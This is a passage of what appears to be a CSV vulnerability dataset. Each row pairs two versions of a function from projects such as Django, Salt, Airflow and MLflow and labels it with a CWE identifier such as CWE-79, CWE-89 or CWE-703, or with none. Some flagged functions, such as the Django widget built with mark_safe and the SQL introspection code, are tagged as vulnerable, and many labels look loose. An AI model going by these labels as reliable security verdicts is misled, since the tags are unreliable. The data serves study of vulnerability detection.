            related_url = reverse('admin:%s_%s_changelist' %
                                    (rel_to._meta.app_label,
                                    rel_to._meta.model_name),
                                    current_app=self.admin_site.name)

            params = self.url_parameters()
            if params:
                url = '?' + '&amp;'.join('%s=%s' % (k, v) for k, v in params.items())
            else:
                url = ''
            if ""class"" not in attrs:
                attrs['class'] = 'vForeignKeyRawIdAdminField'  # The JavaScript code looks for this hook.
            # TODO: ""lookup_id_"" is hard-coded here. This should instead use
            # the correct API to determine the ID dynamically.
            extra.append('<a href=""%s%s"" class=""related-lookup"" id=""lookup_id_%s"" onclick=""return showRelatedObjectLookupPopup(this);""> '
                            % (related_url, url, name))
            extra.append('<img src=""%s"" width=""16"" height=""16"" alt=""%s"" /></a>'
                            % (static('admin/img/selector-search.gif'), _('Lookup')))
        output = [super(ForeignKeyRawIdWidget, self).render(name, value, attrs)] + extra
        if value:
            output.append(self.label_for_value(value))
        return mark_safe(''.join(output))",CWE-79,django/django,8eec2d93b6e93b8a1107fb3de2acd68d6994d6ec,"def render(self, name, value, attrs=None):
        rel_to = self.rel.to
        if attrs is None:
            attrs = {}
        extra = []
        if rel_to in self.admin_site._registry:
            # The related object is registered with the same AdminSite
            related_url = reverse('admin:%s_%s_changelist' %
                                    (rel_to._meta.app_label,
                                    rel_to._meta.model_name),
                                    current_app=self.admin_site.name)

            params = self.url_parameters()
            if params:
                url = '?' + '&amp;'.join('%s=%s' % (k, v) for k, v in params.items())
            else:
                url = ''
            if ""class"" not in attrs:
                attrs['class'] = 'vForeignKeyRawIdAdminField' # The JavaScript code looks for this hook.
            # TODO: ""lookup_id_"" is hard-coded here. This should instead use
            # the correct API to determine the ID dynamically.
            extra.append('<a href=""%s%s"" class=""related-lookup"" id=""lookup_id_%s"" onclick=""return showRelatedObjectLookupPopup(this);""> '
                            % (related_url, url, name))
            extra.append('<img src=""%s"" width=""16"" height=""16"" alt=""%s"" /></a>'
                            % (static('admin/img/selector-search.gif'), _('Lookup')))
        output = [super(ForeignKeyRawIdWidget, self).render(name, value, attrs)] + extra
        if value:
            output.append(self.label_for_value(value))
        return mark_safe(''.join(output))"
,UNKNOWN,UNKNOWN,tests/pytests/integration/renderers/test_toml.py,1,"def test_toml_renderer(salt_call_cli, tmp_path, base_env_state_tree_root_dir):
    config_file_path = tmp_path / ""config.toml""
    state_file = """"""
    toml-config:
      file.serialize:
        - name: {{ pillar.get(""toml-config-path"") }}
        - formatter: toml
        - dataset:
            tool:
              black:
                exclude: foobar
              isort:
                include_trailing_comma: true
    """"""
    pillar = {
        ""toml-config-path"": str(config_file_path).replace(""\\"", ""/""),
    }
    with pytest.helpers.temp_file(
        ""issue-58822.sls"", state_file, base_env_state_tree_root_dir
    ):
        ret = salt_call_cli.run(""state.apply"", ""issue-58822"", pillar=pillar)
        assert ret.exitcode == 0
    contents = config_file_path.read_text()
    expected = (
        '[tool.black]\nexclude = ""foobar""\n\n[tool.isort]\ninclude_trailing_comma ='
        "" true\n\n""
    )
    assert contents == expected",CWE-703,saltstack/salt,8abdd659087504a45cf0d720c018c6ac28b3937f,"def test_toml_renderer(salt_call_cli, tmp_path, base_env_state_tree_root_dir):
    config_file_path = tmp_path / ""config.toml""
    state_file = """"""
    toml-config:
      file.serialize:
        - name: {{ pillar.get(""toml-config-path"") }}
        - formatter: toml
        - dataset:
            tool:
              black:
                exclude: foobar
              isort:
                include_trailing_comma: true
    """"""
    pillar = {
        ""toml-config-path"": str(config_file_path).replace(""\\"", ""/""),
    }
    with pytest.helpers.temp_file(
        ""issue-58822.sls"", state_file, base_env_state_tree_root_dir
    ):
        ret = salt_call_cli.run(""state.apply"", ""issue-58822"", pillar=pillar)
        assert ret.exitcode == 0
    contents = config_file_path.read_text()
    expected = '[tool.black]\nexclude = ""foobar""\n\n[tool.isort]\ninclude_trailing_comma = true\n\n'
    assert contents == expected"
,UNKNOWN,UNKNOWN,tests/providers/google/cloud/transfers/test_gcs_to_bigquery.py,1,"def test_max_value_without_external_table_should_execute_successfully(self, hook):
        hook.return_value.insert_job.side_effect = [
            MagicMock(job_id=pytest.real_job_id, error_result=False),
            pytest.real_job_id,
        ]
        hook.return_value.generate_job_id.return_value = pytest.real_job_id
        hook.return_value.split_tablename.return_value = (PROJECT_ID, DATASET, TABLE)
        hook.return_value.get_job.return_value.result.return_value = (""1"",)

        operator = GCSToBigQueryOperator(
            task_id=TASK_ID,
            bucket=TEST_BUCKET,
            source_objects=TEST_SOURCE_OBJECTS,
            destination_project_dataset_table=TEST_EXPLICIT_DEST,
            schema_fields=SCHEMA_FIELDS,
            max_id_key=MAX_ID_KEY,
            write_disposition=WRITE_DISPOSITION,
            external_table=False,
        )

        result = operator.execute(context=MagicMock())
        assert result == ""1""

        calls = [
            call(
                configuration={
                    ""load"": dict(
                        autodetect=True,
                        createDisposition=""CREATE_IF_NEEDED"",
                        destinationTable={""projectId"": PROJECT_ID, ""datasetId"": DATASET, ""tableId"": TABLE},
                        destinationTableProperties={
                            ""description"": None,
                            ""labels"": None,
                        },
                        sourceFormat=""CSV"",
                        skipLeadingRows=None,
                        sourceUris=[f""gs://{TEST_BUCKET}/{TEST_SOURCE_OBJECTS_AS_STRING}""],
                        writeDisposition=WRITE_DISPOSITION,
                        ignoreUnknownValues=False,
                        allowQuotedNewlines=False,
                        encoding=""UTF-8"",
                        schema={""fields"": SCHEMA_FIELDS},
                        allowJaggedRows=False,
                        fieldDelimiter="","",
                        maxBadRecords=0,
                        quote=None,
                        schemaUpdateOptions=(),
                    ),
                },
                project_id=hook.return_value.project_id,
                location=None,
                job_id=pytest.real_job_id,
                timeout=None,
                retry=DEFAULT_RETRY,
                nowait=True,
            ),
            call(
                configuration={
                    ""query"": {
                        ""query"": f""SELECT MAX({MAX_ID_KEY}) AS max_value FROM {TEST_EXPLICIT_DEST}"",
                        ""useLegacySql"": False,
                        ""schemaUpdateOptions"": [],
                    }
                },
                project_id=hook.return_value.project_id,
            ),
        ]

        hook.return_value.insert_job.assert_has_calls(calls)",CWE-703,apache/airflow,2d663df0552542efcef6e59bc2bc1586f8d1c7f3,"def test_max_value_without_external_table_should_execute_successfully(self, hook):
        hook.return_value.insert_job.side_effect = [
            MagicMock(job_id=pytest.real_job_id, error_result=False),
            pytest.real_job_id,
        ]
        hook.return_value.generate_job_id.return_value = pytest.real_job_id
        hook.return_value.split_tablename.return_value = (PROJECT_ID, DATASET, TABLE)
        hook.return_value.get_job.return_value.result.return_value = (""1"",)

        operator = GCSToBigQueryOperator(
            task_id=TASK_ID,
            bucket=TEST_BUCKET,
            source_objects=TEST_SOURCE_OBJECTS,
            destination_project_dataset_table=TEST_EXPLICIT_DEST,
            schema_fields=SCHEMA_FIELDS,
            max_id_key=MAX_ID_KEY,
            write_disposition=WRITE_DISPOSITION,
            external_table=False,
        )

        result = operator.execute(context=MagicMock())
        assert result == ""1""

        calls = [
            call(
                configuration={
                    ""load"": dict(
                        autodetect=True,
                        createDisposition=""CREATE_IF_NEEDED"",
                        destinationTable={""projectId"": PROJECT_ID, ""datasetId"": DATASET, ""tableId"": TABLE},
                        destinationTableProperties={
                            ""description"": None,
                            ""labels"": None,
                        },
                        sourceFormat=""CSV"",
                        skipLeadingRows=None,
                        sourceUris=[f""gs://{TEST_BUCKET}/{TEST_SOURCE_OBJECTS_AS_STRING}""],
                        writeDisposition=WRITE_DISPOSITION,
                        ignoreUnknownValues=False,
                        allowQuotedNewlines=False,
                        encoding=""UTF-8"",
                        schema={""fields"": SCHEMA_FIELDS},
                    ),
                },
                project_id=hook.return_value.project_id,
                location=None,
                job_id=pytest.real_job_id,
                timeout=None,
                retry=DEFAULT_RETRY,
                nowait=True,
            ),
            call(
                configuration={
                    ""query"": {
                        ""query"": f""SELECT MAX({MAX_ID_KEY}) AS max_value FROM {TEST_EXPLICIT_DEST}"",
                        ""useLegacySql"": False,
                        ""schemaUpdateOptions"": [],
                    }
                },
                project_id=hook.return_value.project_id,
            ),
        ]

        hook.return_value.insert_job.assert_has_calls(calls)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/store/model_registry/sqlalchemy_store.py,0,"def get_latest_versions(self, name, stages=None):
        """"""
        Latest version models for each requested stage. If no ``stages`` argument is provided,
        returns the latest version for each stage.

        Args:
            name: Registered model name.
            stages: List of desired stages. If input list is None, return latest versions for
                each stage.

        Returns:
            List of :py:class:`mlflow.entities.model_registry.ModelVersion` objects.

        """"""
        with self.ManagedSessionMaker() as session:
            sql_registered_model = self._get_registered_model(session, name)
            # Convert to RegisteredModel entity first and then extract latest_versions
            latest_versions = sql_registered_model.to_mlflow_entity().latest_versions
            if stages is None or len(stages) == 0:
                expected_stages = {get_canonical_stage(stage) for stage in ALL_STAGES}
            else:
                expected_stages = {get_canonical_stage(stage) for stage in stages}
            mvs = [mv for mv in latest_versions if mv.current_stage in expected_stages]

            # Populate aliases for each model version
            for mv in mvs:
                model_aliases = sql_registered_model.registered_model_aliases
                mv.aliases = [alias.alias for alias in model_aliases if alias.version == mv.version]

            return mvs",,mlflow/mlflow,6c7391c0d8ce6877dd3076894648714e6488a7ce,"def get_latest_versions(self, name, stages=None):
        """"""
        Latest version models for each requested stage. If no ``stages`` argument is provided,
        returns the latest version for each stage.

        Args:
            name: Registered model name.
            stages: List of desired stages. If input list is None, return latest versions for
                each stage.

        Returns:
            List of :py:class:`mlflow.entities.model_registry.ModelVersion` objects.

        """"""
        with self.ManagedSessionMaker() as session:
            sql_registered_model = self._get_registered_model(session, name)
            # Convert to RegisteredModel entity first and then extract latest_versions
            latest_versions = sql_registered_model.to_mlflow_entity().latest_versions
            if stages is None or len(stages) == 0:
                expected_stages = {get_canonical_stage(stage) for stage in ALL_STAGES}
            else:
                expected_stages = {get_canonical_stage(stage) for stage in stages}
            return [mv for mv in latest_versions if mv.current_stage in expected_stages]"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/testing.py,0,"def gen_test(f):
    """"""Testing equivalent of ``@gen.coroutine``, to be applied to test methods.

    ``@gen.coroutine`` cannot be used on tests because the `.IOLoop` is not
    already running.  ``@gen_test`` should be applied to test methods
    on subclasses of `AsyncTestCase`.

    Example::

        class MyTest(AsyncHTTPTestCase):
            @gen_test
            def test_something(self):
                response = yield gen.Task(self.fetch('/'))

    """"""
    f = gen.coroutine(f)

    @functools.wraps(f)
    def wrapper(self):
        return self.io_loop.run_sync(functools.partial(f, self), timeout=5)
    return wrapper",CWE-Unknown,tornadoweb/tornado,9f3dec0c303cfb683776d8c3c7b9d8a7dd9acf8d,"def gen_test(f):
    """"""Testing equivalent of ``@gen.coroutine``, to be applied to test methods.

    ``@gen.coroutine`` cannot be used on tests because the `IOLoop` is not
    already running.  ``@gen_test`` should be applied to test methods
    on subclasses of `AsyncTestCase`.

    Example::

        class MyTest(AsyncHTTPTestCase):
            @gen_test
            def test_something(self):
                response = yield gen.Task(self.fetch('/'))

    """"""
    f = gen.coroutine(f)

    @functools.wraps(f)
    def wrapper(self):
        return self.io_loop.run_sync(functools.partial(f, self), timeout=5)
    return wrapper"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/store/model_registry/abstract_store.py,0,"def link_prompts_to_trace(self, prompt_versions: list[PromptVersion], trace_id: str) -> None:
        """"""
        Link multiple prompt versions to a trace.

        Default implementation sets a tag on the trace. Stores can override with custom behavior.

        Args:
            prompt_versions: List of PromptVersion objects to link.
            trace_id: Trace ID to link to each prompt version.
        """"""
        from mlflow.tracing.client import TracingClient

        client = TracingClient()
        with self._prompt_link_lock:
            # Prepare new prompt entries to add
            new_prompt_entries = [
                {
                    ""name"": prompt_version.name,
                    ""version"": str(prompt_version.version),
                }
                for prompt_version in prompt_versions
            ]

            # Use utility function to update linked prompts tag
            trace_info = client.get_trace_info(trace_id)
            current_tag_value = trace_info.tags.get(LINKED_PROMPTS_TAG_KEY)
            updated_tag_value = self._update_linked_prompts_tag(
                current_tag_value, new_prompt_entries
            )

            # Only update if the tag value actually changed (avoiding redundant updates)
            if current_tag_value != updated_tag_value:
                client.set_trace_tag(
                    trace_id,
                    LINKED_PROMPTS_TAG_KEY,
                    updated_tag_value,
                )",,mlflow/mlflow,e91b634d760d5445b3005466394f5b00cc47e744,"def link_prompts_to_trace(self, prompt_versions: list[PromptVersion], trace_id: str) -> None:
        """"""
        Link multiple prompt versions to a trace.

        Default implementation sets a tag on the trace. Stores can override with custom behavior.

        Args:
            prompt_versions: List of PromptVersion objects to link.
            trace_id: Trace ID to link to each prompt version.
        """"""
        from mlflow.tracking import _get_store as _get_tracking_store

        tracking_store = _get_tracking_store()

        with self._prompt_link_lock:
            trace_info = tracking_store.get_trace_info(trace_id)
            if not trace_info:
                raise MlflowException(
                    f""Could not find trace with ID '{trace_id}' to which to link prompts."",
                    error_code=ErrorCode.Name(RESOURCE_DOES_NOT_EXIST),
                )

            # Prepare new prompt entries to add
            new_prompt_entries = [
                {
                    ""name"": prompt_version.name,
                    ""version"": str(prompt_version.version),
                }
                for prompt_version in prompt_versions
            ]

            # Use utility function to update linked prompts tag
            current_tag_value = trace_info.tags.get(LINKED_PROMPTS_TAG_KEY)
            updated_tag_value = self._update_linked_prompts_tag(
                current_tag_value, new_prompt_entries
            )

            # Only update if the tag value actually changed (avoiding redundant updates)
            if current_tag_value != updated_tag_value:
                tracking_store.set_trace_tag(
                    trace_id,
                    LINKED_PROMPTS_TAG_KEY,
                    updated_tag_value,
                )"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/vadinfo.py,0,"def render_text(self, outfd, data):
        if self._config.DUMP_DIR == None:
            debug.error(""Please specify a dump directory (--dump-dir)"")
        if not os.path.isdir(self._config.DUMP_DIR):
            debug.error(self._config.DUMP_DIR + "" is not a directory"")

        for task in data:
            outfd.write(""Pid: {0:6}\n"".format(task.UniqueProcessId))

            # Walking the VAD tree can be done in kernel AS, but to 
            # carve the actual data, we need a valid process AS. 
            task_space = task.get_process_address_space()
            if not task_space:
                outfd.write(""Unable to get process AS\n"")
                continue

            name = task.ImageFileName
            offset = task_space.vtop(task.obj_offset)

            outfd.write(""*"" * 72 + ""\n"")
            for vad in task.VadRoot.traverse():
                # Ignore Vads with bad tags (which we explicitly include as None)
                if vad == None:
                    continue

                # avoid potential invalid values 
                if vad.Start > 0xFFFFFFFF or vad.End > (0xFFFFFFFF << 12):
                    continue

                # Open the file and initialize the data
                path = os.path.join(
                    self._config.DUMP_DIR, ""{0}.{1:x}.{2:08x}-{3:08x}.dmp"".format(
                    name, offset, vad.Start, vad.End))

                f = open(path, 'wb')
                if f:
                    range_data = task_space.zread(vad.Start, vad.End - vad.Start + 1)

                    if self._config.VERBOSE:
                        outfd.write(""Writing VAD for {0}\n"".format(path))

                    f.write(range_data)
                    f.close()
                else:
                    outfd.write(""Cannot open {0} for writing\n"".format(path))",,volatilityfoundation/volatility,5cb4ab5ddabb579d119b0d93919fd1367455bf50,"def render_text(self, outfd, data):
        if self._config.DUMP_DIR == None:
            debug.error(""Please specify a dump directory (--dump-dir)"")
        if not os.path.isdir(self._config.DUMP_DIR):
            debug.error(self._config.DUMP_DIR + "" is not a directory"")

        for task in data:
            outfd.write(""Pid: {0:6}\n"".format(task.UniqueProcessId))

            # Walking the VAD tree can be done in kernel AS, but to 
            # carve the actual data, we need a valid process AS. 
            task_space = task.get_process_address_space()
            if not task_space:
                outfd.write(""Unable to get process AS\n"")
                continue 

            name = task.ImageFileName
            offset = task_space.vtop(task.obj_offset)

            outfd.write(""*"" * 72 + ""\n"")
            for vad in task.VadRoot.traverse():
                # Ignore Vads with bad tags (which we explicitly include as None)
                if vad == None:
                    continue

                # avoid potential invalid values 
                if vad.Start > 0xFFFFFFFF or vad.End > (0xFFFFFFFF << 12):
                    continue 

                # Open the file and initialize the data
                path = os.path.join(
                    self._config.DUMP_DIR, ""{0}.{1:x}.{2:08x}-{3:08x}.dmp"".format(
                    name, offset, vad.Start, vad.End))

                f = open(path, 'wb')
                if f:
                    range_data = task_space.zread(vad.Start, vad.End - vad.Start + 1)
    
                    if self._config.VERBOSE:
                        outfd.write(""Writing VAD for {0}\n"".format(path))

                    f.write(range_data)
                    f.close()
                else:
                    outfd.write(""Cannot open {0} for writing\n"".format(path))"
,UNKNOWN,UNKNOWN,airflow-core/tests/unit/timetables/test_continuous_timetable.py,1,"def test_no_runs_after_end_date(timetable, restriction):
    next_info = timetable.next_dagrun_info(
        last_automated_data_interval=DataInterval(START_DATE, DURING_DATE),
        restriction=restriction,
    )

    assert next_info is None",CWE-703,apache/airflow,f2cae5f3c4caef466025fd2e27c8886fc2b76665,"def test_no_runs_after_end_date(timetable, restriction):
    next_info = timetable.next_dagrun_info(
        last_automated_data_interval=DataInterval(START_DATE, DURING_DATE),
        restriction=restriction,
    )

    assert next_info is None"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,tests/functional/test_functional.py,0,"def test_django_xss_insecure(self):
        """"""Test for Django XSS via django.utils.safestring""""""
        expect = {
            ""SEVERITY"": {""UNDEFINED"": 0, ""LOW"": 0, ""MEDIUM"": 29, ""HIGH"": 0},
            ""CONFIDENCE"": {""UNDEFINED"": 0, ""LOW"": 0, ""MEDIUM"": 0, ""HIGH"": 29},
        }
        self.b_mgr.b_ts = b_test_set.BanditTestSet(
            config=self.b_mgr.b_conf, profile={""exclude"": [""B308""]}
        )
        self.check_example(""mark_safe_insecure.py"", expect)",UNKNOWN,PyCQA/bandit,97501817e621db9975dfa6a2a1d36370942d1812,"def test_django_xss_insecure(self):
        """"""Test for Django XSS via django.utils.safestring""""""
        expect = {
            ""SEVERITY"": {""UNDEFINED"": 0, ""LOW"": 0, ""MEDIUM"": 28, ""HIGH"": 0},
            ""CONFIDENCE"": {""UNDEFINED"": 0, ""LOW"": 0, ""MEDIUM"": 0, ""HIGH"": 28},
        }
        self.b_mgr.b_ts = b_test_set.BanditTestSet(
            config=self.b_mgr.b_conf, profile={""exclude"": [""B308""]}
        )
        self.check_example(""mark_safe_insecure.py"", expect)"
,UNKNOWN,UNKNOWN,django/db/backends/sqlite3/introspection.py,1,"def get_relations(self, cursor, table_name):
        """"""
        Return a dictionary of {field_name: (field_name_other_table, other_table)}
        representing all foreign keys in the given table.
        """"""
        # Dictionary of relations to return
        relations = {}

        # Schema for this table
        cursor.execute(
            ""SELECT sql, type FROM sqlite_master ""
            ""WHERE tbl_name = %s AND type IN ('table', 'view')"",
            [table_name]
        )
        create_sql, table_type = cursor.fetchone()
        if table_type == 'view':
            # It might be a view, then no results will be returned
            return relations
        results = create_sql[create_sql.index('(') + 1:create_sql.rindex(')')]

        # Walk through and look for references to other tables. SQLite doesn't
        # really have enforced references, but since it echoes out the SQL used
        # to create the table we can look for REFERENCES statements used there.
        for field_desc in results.split(','):
            field_desc = field_desc.strip()
            if field_desc.startswith(""UNIQUE""):
                continue

            m = re.search(r'references (\S*) ?\([""|]?(.*)[""|]?\)', field_desc, re.I)
            if not m:
                continue
            table, column = [s.strip('""') for s in m.groups()]

            if field_desc.startswith(""FOREIGN KEY""):
                # Find name of the target FK field
                m = re.match(r'FOREIGN KEY\s*\(([^\)]*)\).*', field_desc, re.I)
                field_name = m[1].strip('""')
            else:
                field_name = field_desc.split()[0].strip('""')

            cursor.execute(""SELECT sql FROM sqlite_master WHERE tbl_name = %s"", [table])
            result = cursor.fetchall()[0]
            other_table_results = result[0].strip()
            li, ri = other_table_results.index('('), other_table_results.rindex(')')
            other_table_results = other_table_results[li + 1:ri]

            for other_desc in other_table_results.split(','):
                other_desc = other_desc.strip()
                if other_desc.startswith('UNIQUE'):
                    continue

                other_name = other_desc.split(' ', 1)[0].strip('""')
                if other_name == column:
                    relations[field_name] = (other_name, table)
                    break

        return relations",CWE-89,django/django,afea68ca51c20b726d3b97aaffdfe4e3b632e435,"def get_relations(self, cursor, table_name):
        """"""
        Return a dictionary of {field_name: (field_name_other_table, other_table)}
        representing all relationships to the given table.
        """"""
        # Dictionary of relations to return
        relations = {}

        # Schema for this table
        cursor.execute(
            ""SELECT sql, type FROM sqlite_master ""
            ""WHERE tbl_name = %s AND type IN ('table', 'view')"",
            [table_name]
        )
        create_sql, table_type = cursor.fetchone()
        if table_type == 'view':
            # It might be a view, then no results will be returned
            return relations
        results = create_sql[create_sql.index('(') + 1:create_sql.rindex(')')]

        # Walk through and look for references to other tables. SQLite doesn't
        # really have enforced references, but since it echoes out the SQL used
        # to create the table we can look for REFERENCES statements used there.
        for field_desc in results.split(','):
            field_desc = field_desc.strip()
            if field_desc.startswith(""UNIQUE""):
                continue

            m = re.search(r'references (\S*) ?\([""|]?(.*)[""|]?\)', field_desc, re.I)
            if not m:
                continue
            table, column = [s.strip('""') for s in m.groups()]

            if field_desc.startswith(""FOREIGN KEY""):
                # Find name of the target FK field
                m = re.match(r'FOREIGN KEY\s*\(([^\)]*)\).*', field_desc, re.I)
                field_name = m[1].strip('""')
            else:
                field_name = field_desc.split()[0].strip('""')

            cursor.execute(""SELECT sql FROM sqlite_master WHERE tbl_name = %s"", [table])
            result = cursor.fetchall()[0]
            other_table_results = result[0].strip()
            li, ri = other_table_results.index('('), other_table_results.rindex(')')
            other_table_results = other_table_results[li + 1:ri]

            for other_desc in other_table_results.split(','):
                other_desc = other_desc.strip()
                if other_desc.startswith('UNIQUE'):
                    continue

                other_name = other_desc.split(' ', 1)[0].strip('""')
                if other_name == column:
                    relations[field_name] = (other_name, table)
                    break

        return relations"
,UNKNOWN,UNKNOWN,salt/client/api.py,1,"def run(self, cmd):
        '''
        Execute the salt command given by cmd dict.

        cmd is a dictionary of the following form:

        {
            'mode': 'modestring',
            'fun' : 'modulefunctionstring',
            'kwarg': functionkeywordargdictionary,
            'tgt' : 'targetpatternstring',
            'tgt_type' : 'targetpatterntype',
            'ret' : 'returner namestring',
            'timeout': 'functiontimeout',
            'arg' : 'functionpositionalarg sequence',
            'token': 'salttokenstring',
            'username': 'usernamestring',
            'password': 'passwordstring',
            'eauth': 'eauthtypestring',
        }

        Implied by the fun is which client is used to run the command, that is, either
        the master local minion client, the master runner client, or the master wheel client.

        The cmd dict items are as follows:

        mode: either 'sync' or 'async'. Defaults to 'async' if missing
        fun: required. If the function is to be run on the master using either
            a wheel or runner client then the fun: includes either
            'wheel.' or 'runner.' as a prefix and has three parts separated by '.'.
            Otherwise the fun: specifies a module to be run on a minion via the local
            minion client.
            Example:
                fun of 'wheel.config.values' run with master wheel client
                fun of 'runner.manage.status' run with master runner client
                fun of 'test.ping' run with local minion client
                fun of 'wheel.foobar' run with with local minion client not wheel
        kwarg: A dictionary of keyword function parameters to be passed to the eventual
               salt function specified by fun:
        tgt: Pattern string specifying the targeted minions when the implied client is local
        tgt_type: Optional target pattern type string when client is local minion.
            Defaults to 'glob' if missing
        ret: Optional name string of returner when local minion client.
        arg: Optional positional argument string when local minion client
        token: the salt token. Either token: is required or the set of username:,
            password: , and eauth:
        username: the salt username. Required if token is missing.
        password: the user's password. Required if token is missing.
        eauth: the authentication type such as 'pam' or 'ldap'. Required if token is missing

        '''
        cmd = dict(cmd)  # make copy
        client = 'minion'  # default to local minion client
        mode = cmd.get('mode', 'asynchronous')  # default to 'asynchronous'

        # check for wheel or runner prefix to fun name to use wheel or runner client
        funparts = cmd.get('fun', '').split('.')
        if len(funparts) > 2 and funparts[0] in ['wheel', 'runner']:  # master
            client = funparts[0]
            cmd['fun'] = '.'.join(funparts[1:])  # strip prefix

        if not ('token' in cmd or
                ('eauth' in cmd and 'password' in cmd and 'username' in cmd)):
            raise EauthAuthenticationError('No authentication credentials given')

        executor = getattr(self, '{0}_{1}'.format(client, mode))
        result = executor(**cmd)
        return result",CWE-259,saltstack/salt,69920366ae5f0ba2c851bcc7c3e90b63f9d26218,"def run(self, cmd):
        '''
        Execute the salt command given by cmd dict.

        cmd is a dictionary of the following form:

        {
            'mode': 'modestring',
            'fun' : 'modulefunctionstring',
            'kwarg': functionkeywordargdictionary,
            'tgt' : 'targetpatternstring',
            'tgt_type' : 'targetpatterntype',
            'ret' : 'returner namestring',
            'timeout': 'functiontimeout',
            'arg' : 'functionpositionalarg sequence',
            'token': 'salttokenstring',
            'username': 'usernamestring',
            'password': 'passwordstring',
            'eauth': 'eauthtypestring',
        }

        Implied by the fun is which client is used to run the command, that is, either
        the master local minion client, the master runner client, or the master wheel client.

        The cmd dict items are as follows:

        mode: either 'sync' or 'async'. Defaults to 'async' if missing
        fun: required. If the function is to be run on the master using either
            a wheel or runner client then the fun: includes either
            'wheel.' or 'runner.' as a prefix and has three parts separated by '.'.
            Otherwise the fun: specifies a module to be run on a minion via the local
            minion client.
            Example:
                fun of 'wheel.config.values' run with master wheel client
                fun of 'runner.manage.status' run with master runner client
                fun of 'test.ping' run with local minion client
                fun of 'wheel.foobar' run with with local minion client not wheel
        kwarg: A dictionary of keyword function parameters to be passed to the eventual
               salt function specified by fun:
        tgt: Pattern string specifying the targeted minions when the implied client is local
        tgt_type: Optional target pattern type string when client is local minion.
            Defaults to 'glob' if missing
        ret: Optional name string of returner when local minion client.
        arg: Optional positional argument string when local minion client
        token: the salt token. Either token: is required or the set of username:,
            password: , and eauth:
        username: the salt username. Required if token is missing.
        password: the user's password. Required if token is missing.
        eauth: the authentication type such as 'pam' or 'ldap'. Required if token is missing

        '''
        cmd = dict(cmd)  # make copy
        client = 'minion'  # default to local minion client
        mode = cmd.get('mode', 'async')  # default to 'async'

        # check for wheel or runner prefix to fun name to use wheel or runner client
        funparts = cmd.get('fun', '').split('.')
        if len(funparts) > 2 and funparts[0] in ['wheel', 'runner']:  # master
            client = funparts[0]
            cmd['fun'] = '.'.join(funparts[1:])  # strip prefix

        if not ('token' in cmd or
                ('eauth' in cmd and 'password' in cmd and 'username' in cmd)):
            raise EauthAuthenticationError('No authentication credentials given')

        executor = getattr(self, '{0}_{1}'.format(client, mode))
        result = executor(**cmd)
        return result"
,UNKNOWN,UNKNOWN,django/db/backends/mysql/introspection.py,1,"def get_table_description(self, cursor, table_name):
        """"""
        Return a description of the table with the DB-API cursor.description
        interface.""
        """"""
        json_constraints = {}
        if (
            self.connection.mysql_is_mariadb
            and self.connection.features.can_introspect_json_field
        ):
            # JSON data type is an alias for LONGTEXT in MariaDB, select
            # JSON_VALID() constraints to introspect JSONField.
            cursor.execute(
                """"""
                SELECT c.constraint_name AS column_name
                FROM information_schema.check_constraints AS c
                WHERE
                    c.table_name = %s AND
                    LOWER(c.check_clause) =
                        'json_valid(`' + LOWER(c.constraint_name) + '`)' AND
                    c.constraint_schema = DATABASE()
                """""",
                [table_name],
            )
            json_constraints = {row[0] for row in cursor.fetchall()}
        # A default collation for the given table.
        cursor.execute(
            """"""
            SELECT  table_collation
            FROM    information_schema.tables
            WHERE   table_schema = DATABASE()
            AND     table_name = %s
            """""",
            [table_name],
        )
        row = cursor.fetchone()
        default_column_collation = row[0] if row else """"
        # information_schema database gives more accurate results for some figures:
        # - varchar length returned by cursor.description is an internal length,
        #   not visible length (#5725)
        # - precision and scale (for decimal fields) (#5014)
        # - auto_increment is not available in cursor.description
        cursor.execute(
            """"""
            SELECT
                column_name, data_type, character_maximum_length,
                numeric_precision, numeric_scale, extra, column_default,
                CASE
                    WHEN collation_name = %s THEN NULL
                    ELSE collation_name
                END AS collation_name,
                CASE
                    WHEN column_type LIKE '%% unsigned' THEN 1
                    ELSE 0
                END AS is_unsigned
            FROM information_schema.columns
            WHERE table_name = %s AND table_schema = DATABASE()
            """""",
            [default_column_collation, table_name],
        )
        field_info = {line[0]: InfoLine(*line) for line in cursor.fetchall()}

        cursor.execute(
            ""SELECT * FROM %s LIMIT 1"" % self.connection.ops.quote_name(table_name)
        )

        def to_int(i):
            return int(i) if i is not None else i

        fields = []
        for line in cursor.description:
            info = field_info[line[0]]
            fields.append(
                FieldInfo(
                    *line[:2],
                    to_int(info.max_len) or line[2],
                    to_int(info.max_len) or line[3],
                    to_int(info.num_prec) or line[4],
                    to_int(info.num_scale) or line[5],
                    line[6],
                    info.column_default,
                    info.collation,
                    info.extra,
                    info.is_unsigned,
                    line[0] in json_constraints,
                )
            )
        return fields",CWE-89,django/django,cbc0fb370583c6371eb2901f752ce286f008a6a4,"def get_table_description(self, cursor, table_name):
        """"""
        Return a description of the table with the DB-API cursor.description
        interface.""
        """"""
        json_constraints = {}
        if (
            self.connection.mysql_is_mariadb
            and self.connection.features.can_introspect_json_field
        ):
            # JSON data type is an alias for LONGTEXT in MariaDB, select
            # JSON_VALID() constraints to introspect JSONField.
            cursor.execute(
                """"""
                SELECT c.constraint_name AS column_name
                FROM information_schema.check_constraints AS c
                WHERE
                    c.table_name = %s AND
                    LOWER(c.check_clause) =
                        'json_valid(`' + LOWER(c.constraint_name) + '`)' AND
                    c.constraint_schema = DATABASE()
                """""",
                [table_name],
            )
            json_constraints = {row[0] for row in cursor.fetchall()}
        # A default collation for the given table.
        cursor.execute(
            """"""
            SELECT  table_collation
            FROM    information_schema.tables
            WHERE   table_schema = DATABASE()
            AND     table_name = %s
            """""",
            [table_name],
        )
        row = cursor.fetchone()
        default_column_collation = row[0] if row else """"
        # information_schema database gives more accurate results for some figures:
        # - varchar length returned by cursor.description is an internal length,
        #   not visible length (#5725)
        # - precision and scale (for decimal fields) (#5014)
        # - auto_increment is not available in cursor.description
        cursor.execute(
            """"""
            SELECT
                column_name, data_type, character_maximum_length,
                numeric_precision, numeric_scale, extra, column_default,
                CASE
                    WHEN collation_name = %s THEN NULL
                    ELSE collation_name
                END AS collation_name,
                CASE
                    WHEN column_type LIKE '%% unsigned' THEN 1
                    ELSE 0
                END AS is_unsigned
            FROM information_schema.columns
            WHERE table_name = %s AND table_schema = DATABASE()
            """""",
            [default_column_collation, table_name],
        )
